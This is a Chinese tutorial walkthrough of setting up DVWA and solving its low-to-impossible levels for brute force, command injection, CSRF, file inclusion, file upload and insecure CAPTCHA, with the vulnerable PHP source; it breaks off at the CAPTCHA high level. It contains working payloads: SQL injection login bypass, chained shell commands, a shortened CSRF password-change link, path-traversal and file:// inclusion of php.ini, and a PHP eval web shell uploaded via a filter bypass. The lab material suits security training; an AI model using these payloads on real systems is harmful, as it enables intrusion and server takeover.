DVWA的安装及刷题实战

背景

  • 学习渗透测试,特别是 Web 渗透,最头疼的无疑就是寻找靶机环境,通常是不同的漏洞需要找不同的靶机源码。DVWA是最适合的初级环境,几年前有搭建实现过,现在重新复现一下,并记录笔记

  • DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

    DVWA

    DVWA 一共包含了十四个攻击模块,包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境。分别是:

    1. Brute Force(暴力(破解))
    2. Command Injection(命令行注入)
    3. CSRF(跨站请求伪造)
    4. File Inclusion(文件包含)
    5. File Upload(文件上传)
    6. Insecure CAPTCHA (不安全的验证码)
    7. SQL Injection(SQL注入)
    8. SQL Injection(Blind)(SQL盲注)
    9. Weak Session IDs (弱会话IDs)
    10. XSS(DOM)(DOM型跨站脚本)
    11. XSS(Reflected)(反射型跨站脚本)
    12. XSS(Stored)(存储型跨站脚本)
    13. CSP Bypass(内容安全策略)
    14. JavaScript Attacks

必要环境

  1. phpStudy
  2. DVWA官网

实战篇

从这里开始会进行实战,难度从low开始

Brute Force

难度:low

DVWA
使用burpsuite爆破破解即可

这里提供github开源的字典库:https://github.com/3had0w/Fuzzing-Dicts

并且low难度没有对特殊字符进行转义,可以使用sql注入

输入:admin’ or 1=1#

通过low难度代码审计,可以发现以下问题:

  1. 登录验证仅仅只校验账号是否存在数据库,并做任何限制
  2. 也没有对字符串转义,存在sql注入
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

难度:medium

因此它的爆破过程与Low难度的过程基本一样,可以参考Low难度中的爆破过程,区别是每一次登录失败后会延时2s,别的就没有什么改动了,总体过程影响不大。

另外在这个Medium难度的源码中,它对防止注入做了很多的工作,像比如说,它使用了mysql_real_escape_string 函数,这个函数可以对字符串中的函数进行转义,一定程度上可以防止sql注入

并且通过medium难度的代码审计,可以发现相比于low难度,有以下改进:

  1. 使用mysqli_real_escape_string()转义字符串
  2. 当登录失败时,会延迟2秒,sleep( 2 );给字典爆破时间上一定的限制
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

难度:high

这里先简单介绍一下token,token是为了减轻服务器压力,当用户登录会返回token,后面用户继续想登录只需要比对token即可

爆破的过程具体分为以下几步:

  1. 使用burpsuite抓包并发往intruder
  2. 添加password和user_token两个变量
  3. 注意攻击方式使用Pitchfork,每一个变量标记对应一个字典,取每个字典的对应项。
  4. 变量password用simple list,变量user_token使用recursive grep。

效果如下:

DVWA_BP_HARD

在这个难度中,通过high代码审计可以发现,

  1. 首先从代码中可以发现是加了token验证的。
  2. 针对这种带有token验证的,我们也可以使用burpsuite去爆破。
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

难度:impossible

我的理解是impossible难度是最大可能限制攻击。像此处查看源码可知,当用户登录失败次数超过total_failed_login(dvwa设置为3),就会将账号锁住15秒。

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

Command Injection

难度:low

可以把ip地址和系统信息等显示出来
输入:127.0.0.1 & ipconfig & systeminfo

命令注入

难度:medium

该难度是对一些字符 如&& 进行了转义,但没有对&转转义,感觉这里出得不太好,所以用上一个low难度即可。除此之外可以用分号隔绝&&

输入:127.0.0.1 &;& systeminfo

命令注入

难度:high

该难度是对很多常见字符都进行了转义。只能一个个去试看看哪个还没有转义可以绕过。发现还有||还没转义。

输入:127.0.0.1 || systeminfo

难度:impossible

此处是对IP地址进行了限制,只能输入IP地址格式,不能加入其它东西。同时还设置了token

Cross Site Request Forgery (CSRF)

CSRF攻击: 跨站请求伪造。已登录用户 访问 攻击者网站,攻击网站向被攻击网站发起恶意请求(利用浏览器会自动携带cookie)。简单来讲,就是利用用户的登录状态,并通过第三方站点做一些事情

难度:low

先抓包分析,是get请求。在浏览器地址栏可以也可以看得到请求地址。

使用短连接生成器:https://suolink.cn/?from=3205

利用该链接http://192.168.113.1/dvwa/vulnerabilities/csrf/?password_new=12&password_conf=12&Change=Change#,生成:http://c.nxw.so/6SdyY,然后只需要想办法让用户去诱导点开这个地址即可

CSRF

通过low难度代码审计可以发现以下信息:

  1. 仅判断$pass_new和$pass_conf是否相同
  2. 使用mysqli_real_escape_string防止注入
  3. 这里没有对refer做判断,所以就会导致crsf漏洞
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

难度:medium

链接提交没有refer,通过代码审计可以发现:medium难度通过$_SERVER[‘HTTP_REFERER’]获取当前链接的上一个连接来源地址。但是medium难度只是单单做是否存在refer的判断,对于直接用链接访问,我们只需要抓包加一个refer再发送出去即可

CSRF

加了refer后效果:
CSRF

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            $html .= "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        $html .= "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

难度:high

通过代码审计可以得出以下信息:

  1. high难度是基于token的身份检验方法
  2. 服务器对客户端发来的账号密码进行验证,验证成功会发送给客户端一个token
  3. 客户端把token存储在cookie或者本地缓存

也就是说,只有获取token才能CSRF,但是浏览器的跨域问题,不能直接获取,所以比较难利用

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

impossible

通过impossible难度的代码审计,可以看出对以下做了防御:

  1. 使用PDO技术防御SQL注入
  2. 对于防御CSRF,要求用户输入原始密码,攻击者在不知道原始密码的情况下是无法进行CSRF攻击的(原先)
<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $pass_curr = $_GET[ 'password_current' ]; 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 
    // Sanitise current password input 
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr ); 
    // Check that the current password is correct 
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
    $data->execute(); 
    // Do both new passwords match and does the current password match the user? 
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
        // It does! 
        $pass_new = stripslashes( $pass_new ); 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 
        // Update database with new password 
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->execute(); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
    } 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 

?>

File Inclusion

难度:low

构造payload:xxx?page=file1.php

文件包含

代码审计后可以观察到,服务端没有做任何限制

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

难度:medium

使用绝对路径和相对路径构造payload

http://192.168.113.1/dvwa/vulnerabilities/fi/?page=G:\phpstudy_pro\WWW\DVWA\php.ini
http://192.168.113.1/dvwa/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini

代码审计后可以观察到,发现对http等进行了一些过滤

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

难度:high

构造payload:

http://192.168.113.1/dvwa/vulnerabilities/fi/?page=file:///G:/phpstudy_pro/WWW/DVWA/php.ini

代码审计后可以观察到,High级别的代码规定只能包含file开头的文件,看似安全,我们依然可以利用file协议绕过防护策略。

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

难度:impossible

通过代码审计可以观察到:Impossible级别的代码使用了白名单机制进行防护,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

File Upload

难度:low

上传一句话木马

文件上传

使用蚁剑连接,这里提供蚁剑的github地址:https://github.com/AntSwordProject

文件上传

代码审计可以观察到以下问题:

  1. 无限制的上传文件,没有做任何过滤,这是最致命的
  2. 文件上传后,保存在hackable/uploads/ 路径,而且还直接输出
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        $html .= '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}
?>

难度:medium

直接上传木马会发现,做了上传文件的限制

Your image was not uploaded. We can only accept JPEG or PNG images.

所以要想办法绕过,做以下操作绕过

  1. 修改有一句话木马shell.php为shell.png或者shell.jpg
  2. 抓包得到以下数据包,将filename=”shell.png”改成filename=”shell.php”
  3. 再放包

文件上传

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.113.1
Content-Length: 429
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.113.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEdBpaJcCABbwJ0T9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.113.1/dvwa/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=medium; PHPSESSID=70436arr4q4ouusefnic2a08eu
Connection: close
------WebKitFormBoundaryEdBpaJcCABbwJ0T9
Content-Disposition: form-data; name="MAX_FILE_SIZE"
100000
------WebKitFormBoundaryEdBpaJcCABbwJ0T9
Content-Disposition: form-data; name="uploaded"; filename="shell.png"
Content-Type: application/x-php
<?php @eval($_POST['cmd']) ?>
------WebKitFormBoundaryEdBpaJcCABbwJ0T9
Content-Disposition: form-data; name="Upload"
Upload
------WebKitFormBoundaryEdBpaJcCABbwJ0T9--

代码审计后可以观察到,有以下问题:

  1. 在判断语句那里可以看到,最上传文件的类型做了限制,只能上传jpeg和png类型文件,并且文件大小不超过100000B
  2. ​由于只进行了Content-Type类型校验,所以可以正常上传.png文件,然后再抓包修改文件后缀名为.php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}
?>

难度:high

使用medium难度的方法还是无法上传木马,这里使用图片马,将图片和木马结合上传到服务器,步骤如下

  1. 随便找张图片,和一句话木马结合。cat 1.jpeg shell.php > shell2.png
  2. 上传shell2.png
  3. 由于shell2.png是图片格式,不能直接用蚁剑连接。利用File Inclusion漏洞访问http://192.168.113.1/dvwa/vulnerabilities/fi/?page=file:///G:/phpstudy_pro/WWW/dvwa/hackable/uploads/shell2.png能解析php代码

文件上传

这里注意用蚁剑连接的时候要加上cookie,在浏览器输入document.cookie复制放到蚁剑即可

文件上传

代码审计后可以观察到,

  1. getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
  2. 要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。
  3. getimagesize函数更是限制了上传文件的文件头必须为图像类型。
if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            $html .= '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            $html .= "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

Insecure CAPTCHA

Insecure CAPTCHA(不安全的验证码),主要是验证流程出现了逻辑漏洞,而不是谷歌的验证码有问题。这一模块验证码使用的是Google提供的reCAPTCHA服务。

这里要进行配置,找到config.inc.php文件,修改下面两个地方

$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';

$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

难度:low

这里直接开始分析源码,可以看出该验证方法分为以下两步:

  1. 先检查验证码是否正确,为step == 1状态
  2. 再检查密码和确认密码

所以可以直接抓包 将 step=1 改成 step=2,绕过第一步验证码的检验

验证码

<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];
    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );
    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            $html .= "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;
    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];
    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the end user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

难度:medium

通过代码审计可以发现以下:

  1. medium在low基础上做了优化,在第二步会检查passed_captcha变量,也就是第一步是否校验成功,防止在第一步直接绕过
  2. 虽然有passed_captcha校验,但是存在问题,passed_captcha是通过post提交的,所以我们可以直接通过抓包改passed_captcha变量的值

验证码

<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            $html .= "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

难度:high

通过代码审计后发现:

